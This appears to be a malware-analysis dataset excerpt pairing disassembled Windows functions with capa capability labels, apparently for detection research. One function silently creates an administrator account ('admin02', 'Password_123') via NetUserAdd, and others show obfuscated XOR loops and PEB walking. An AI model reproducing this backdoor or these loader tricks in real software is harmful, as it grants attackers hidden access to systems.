joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140027db0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001b754
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001b754
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027f00
cmp rax, 0xffffffffffffffff
je 0x140027f00
xor edi, edi
test rbp, rbp
jle 0x140027eab
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001dd40
mov rbx, rax
test rax, rax
jne 0x140027e38
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027ea1
mov edx, 0x8000
mov ecx, r14d
call fcn.1400158f8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c430
cmp eax, 0xffffffff
je 0x140027e81
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027e48
mov edx, r15d
mov ecx, r14d
call fcn.1400158f8
jmp 0x140027ea1
cmp byte [rsi + 0x38], dil
je 0x140027e98
cmp dword [rsi + 0x34], 5
jne 0x140027e98
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027ea1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140019e18
jmp 0x140027f14
jns 0x140027f14
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001b754
cmp rax, 0xffffffffffffffff
jne 0x140027ecc
cmp byte [rsi + 0x30], dil
je 0x140027f14
mov edi, dword [rsi + 0x2c]
jmp 0x140027f14
mov ecx, r14d
call fcn.140016ef8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027f14
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027f14
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027f0d
mov eax, dword [rsi + 0x2c]
jmp 0x140027f12
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001b754
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140002b20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002b6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002b6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002b6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002b6a
cmp dword [rcx + 0x84], 0xe
jbe 0x140002b6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002b6c
xor al, al
add rsp, 0x28
ret
Function at 0x180001000
Capabilities:
Add user account
Add user account to group

Disassembly:
sub rsp, 0xd8
mov rax, qword [0x180050008]
xor rax, rsp
mov qword [rsp + 0xc0], rax
sub edx, 1
je 0x180001027
cmp edx, 1
jne 0x180001100
movups xmm0, xmmword [str.admin02]
movzx eax, word [0x18004d9b8]
lea r8, [rsp + 0x38]
movups xmm1, xmmword [str.Password_123]
mov word [rsp + 0x98], ax
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
xor r9d, r9d
mov dword [rsp + 0x48], eax
movsd xmm0, qword [0x18004d9b0]
xor ecx, ecx
movsd qword [rsp + 0x90], xmm0
movups xmm0, xmmword [str.administratoren]
mov qword [rsp + 0x64], rax
lea edx, [r9 + 1]
mov dword [rsp + 0x6c], eax
lea rax, [rsp + 0x70]
movups xmmword [rsp + 0x80], xmm1
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x80]
movups xmm1, xmmword [0x18004d9d0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0xa0], xmm0
mov dword [rsp + 0x4c], 1
xorps xmm0, xmm0
mov dword [rsp + 0x60], 0x10000
movdqu xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0xb0], xmm1
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x30]
mov qword [rsp + 0x30], rax
mov r8d, 3
lea rdx, [rsp + 0xa0]
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
xor eax, eax
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.180001130
add rsp, 0xd8
ret

Function at 0x180004ff0
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.180004ad0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x18000502f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x18003d290]
jmp 0x180005039
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x180021f60
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.180002d60
lea rcx, [rsp + 0x40]
call fcn.180021f20
movzx eax, al
test eax, eax
jne 0x180021fa8
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.180021e50
mov rax, qword [rsp + 0x70]
jmp 0x180022179
lea rcx, [rsp + 0x40]
call fcn.180002de0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.180021ed0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.180002de0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.180021d20
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x18002204e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.180021e50
mov rax, qword [rsp + 0x80]
jmp 0x180022179
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.18000d9b0
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.180002d60
lea rcx, [rsp + 0x48]
call fcn.180002da0
movzx eax, al
test eax, eax
jne 0x1800220b5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.180002d80
lea rcx, [rsp + 0x40]
call fcn.180021e50
mov rax, qword [rsp + 0x88]
jmp 0x180022179
lea rcx, [rsp + 0x48]
call fcn.180002de0
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.180002de0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.180021d20
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x18002214b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.180002d80
lea rcx, [rsp + 0x40]
call fcn.180021e50
mov rax, qword [rsp + 0xa0]
jmp 0x180022179
lea rcx, [rsp + 0x48]
call fcn.1800034b0
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.180002d80
lea rcx, [rsp + 0x40]
call fcn.180021e50
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret
Function at 0x180029640
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x1800362a0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.18003b770
sub rsp, rax
mov rax, qword [0x180050008]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1800517f0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x180036492
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x1800363e6
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1800363e6
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1800363cb
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x180036368
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180036452
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1800364b1
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x18003648d
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1800364b1
jmp 0x18003633e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.180001130
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1800364d0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.18003b770
sub rsp, rax
mov rax, qword [0x180050008]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1800517f0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1800366dd
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x180036629
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x180036629
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x180036609
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x180036598
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x18003669d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1800366fc
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x1800366d8
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1800366fc
jmp 0x18003656e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.180001130
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1806b7041
Capabilities:
Encode data using xor

Disassembly:
push rax
lea rbx, [0x1806d33f0]
lea rsp, [rsp + 0x10]
push 0xffffffffdb3c28b9
movzx eax, byte [r9]
push 0x581d30d
xor eax, edi
and eax, 0xff
mov eax, dword [rbx + rax*4]
shr edi, 8
xor edi, eax
inc r9
xor edi, 0x6cb36923
push 0x54b78cb1
dec rdx
lea rsp, [rsp + 0x18]
jne 0x1806b704e
mov ebx, 0x75ba4f8f
not bx
pop rbx

Function at 0x1806d119f
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + r8*8 - 0x3c2c47d8], 0xffffffffc52c162f
lea r8, [r8 + r8*8 + 0x170bc5b3]
lea r8, [0x1806f0738]
lea rsp, [rsp + 8]
mov r10d, 0xce313590
not r10d
movzx r10d, byte [rdi + r10*2 - 0x639d94de]
push 0xffffffffc22001ac
rol dword [rsp + 1], 0xd2
xor r10d, esi
and r10d, 0xff
mov r10d, dword [r8 + r10*4]
shr esi, 8
xor esi, r10d
push 0xffffffffd42ebb3c
inc rdi
xor esi, 0x5aa15e12
dec rcx
lea rsp, [rsp + 0x10]
jne 0x1806d11bf
mov r8d, 0xa1ae1a8d
pop r10
pop r8

Function at 0x1806f5f64
Capabilities:
Encode data using xor

Disassembly:
adc rdi, 0xc
xor ebp, ebp
test rbx, rbx
lea rsp, [rsp + 8]
je 0x1806f360c
mov eax, 0x2438b229
push r11
mov r11d, eax
sub r11, r11
lea rax, [0x1806d9fb8]
mov r11d, 0xadb02707
shl r11, 0xfa
xor r11, r11
adc r11b, byte [rsi + r11*2]
xor r11d, ebp
push 0xfffffffff2280730
and r11d, 0xff
mov r11d, dword [rax + r11*4]
not dword [rsp + 1]
shr ebp, 8
xor ebp, r11d
inc rsi
xor ebp, 0x83808783
sal word [rsp], 0x81
dec rbx
lea rsp, [rsp + 8]
jne 0x1806f5f8f
jmp 0x1806f3604
Function at 0x180006f30
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x24]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0xe0]
call fcn.180006c10
mov rax, qword [rax]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0xa8]
mov rcx, qword [rsp + 0xe0]
call fcn.1800065f0
mov rax, qword [rax]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x80], rax
mov r9, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0xb0]
call fcn.180003cc0
lea rcx, [rsp + 0xb0]
call fcn.180006670
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x30]
add rax, 0x10
mov ecx, 8
imul rcx, rcx, 0
mov qword [rsp + rcx + 0x40], rax
mov rax, qword [rsp + 0x30]
add rax, 0x20
mov ecx, 8
imul rcx, rcx, 1
mov qword [rsp + rcx + 0x40], rax
mov rax, qword [rsp + 0x30]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 2
mov qword [rsp + rcx + 0x40], rax
mov dword [rsp + 0x20], 0
jmp 0x18000705f
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 3
jge 0x18000710e
movsxd rax, dword [rsp + 0x20]
mov rax, qword [rsp + rax*8 + 0x40]
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
jmp 0x18000708b
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
movsxd rax, dword [rsp + 0x20]
mov rax, qword [rsp + rax*8 + 0x40]
cmp qword [rsp + 0x28], rax
je 0x180007109
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x10
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x60]
call fcn.180006a60
test eax, eax
jne 0x180007104
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0xb0]
call fcn.180006360
mov rcx, qword [rsp + 0xe0]
call fcn.180006280
mov rax, qword [rsp + 0x90]
jmp 0x18000713c
jmp 0x18000707e
jmp 0x180007055
mov qword [rsp + 0x98], 0
lea rcx, [rsp + 0xb0]
call fcn.180006360
mov rcx, qword [rsp + 0xe0]
call fcn.180006280
mov rax, qword [rsp + 0x98]
add rsp, 0xd8
ret
Function at 0x18001cb60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x150
lea rax, [rsp + 0x130]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov rcx, rax
call fcn.180004880
lea rax, [0x180165cd0]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], 0xffffffffffffffff
inc qword [rsp + 0x58]
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x58]
cmp byte [rax + rcx], 0
jne 0x18001cbaf
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa0], rax
mov r8, qword [rsp + 0xa0]
lea rdx, [0x180165cd0]
mov rcx, qword [rsp + 0x68]
call fcn.180003ef0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x31]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x32]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x38], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x48], al
movabs rax, 0x5dd6f9b8e092650d
mov qword [rsp + 0x80], rax
movabs rax, 0x9c72ff780c0617e4
mov qword [rsp + 0x88], rax
movabs rax, 0x2ebfbd9884fd0a4b
mov qword [rsp + 0xd0], rax
movabs rax, 0x9c72ff1d6f687690
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x33]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x33]
mov byte [rsp + 0x50], al
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0xf0], xmm0
movdqa xmm0, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0xe0], xmm0
movdqa xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x100], xmm0
movdqa xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x80], xmm0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov rcx, rax
call fcn.180004880
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x60], 0xffffffffffffffff
inc qword [rsp + 0x60]
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x60]
cmp byte [rax + rcx], 0
jne 0x18001cd3d
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb8], rax
mov r8, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x110]
call fcn.180003ef0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1f4
xor r9d, r9d
lea r8, [0x1801911a0]
lea rdx, [rsp + 0x110]
lea rcx, [0x1801c8180]
call fcn.1800c2490
lea rcx, [rsp + 0x110]
call fcn.180006280
add rsp, 0x150
pop rdi
ret
Function at 0x18001d9b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x150
lea rax, [rsp + 0x130]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov rcx, rax
call fcn.180004880
lea rax, [0x180165cd0]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], 0xffffffffffffffff
inc qword [rsp + 0x58]
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x58]
cmp byte [rax + rcx], 0
jne 0x18001d9ff
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa0], rax
mov r8, qword [rsp + 0xa0]
lea rdx, [0x180165cd0]
mov rcx, qword [rsp + 0x68]
call fcn.180003ef0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x31]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x32]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x38], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x48], al
movabs rax, 0x5accd4dca4be5a0a
mov qword [rsp + 0x80], rax
movabs rax, 0x9c72ff1d0a0b18f1
mov qword [rsp + 0x88], rax
movabs rax, 0x2ebfbd9884fd0a4b
mov qword [rsp + 0xd0], rax
movabs rax, 0x9c72ff1d6f687690
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x33]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x33]
mov byte [rsp + 0x50], al
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0xf0], xmm0
movdqa xmm0, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0xe0], xmm0
movdqa xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x100], xmm0
movdqa xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x80], xmm0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov rcx, rax
call fcn.180004880
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x60], 0xffffffffffffffff
inc qword [rsp + 0x60]
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x60]
cmp byte [rax + rcx], 0
jne 0x18001db8d
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb8], rax
mov r8, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x110]
call fcn.180003ef0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1388
xor r9d, r9d
lea r8, [0x180191360]
lea rdx, [rsp + 0x110]
lea rcx, [0x1801c8180]
call fcn.1800c2490
lea rcx, [rsp + 0x110]
call fcn.180006280
add rsp, 0x150
pop rdi
ret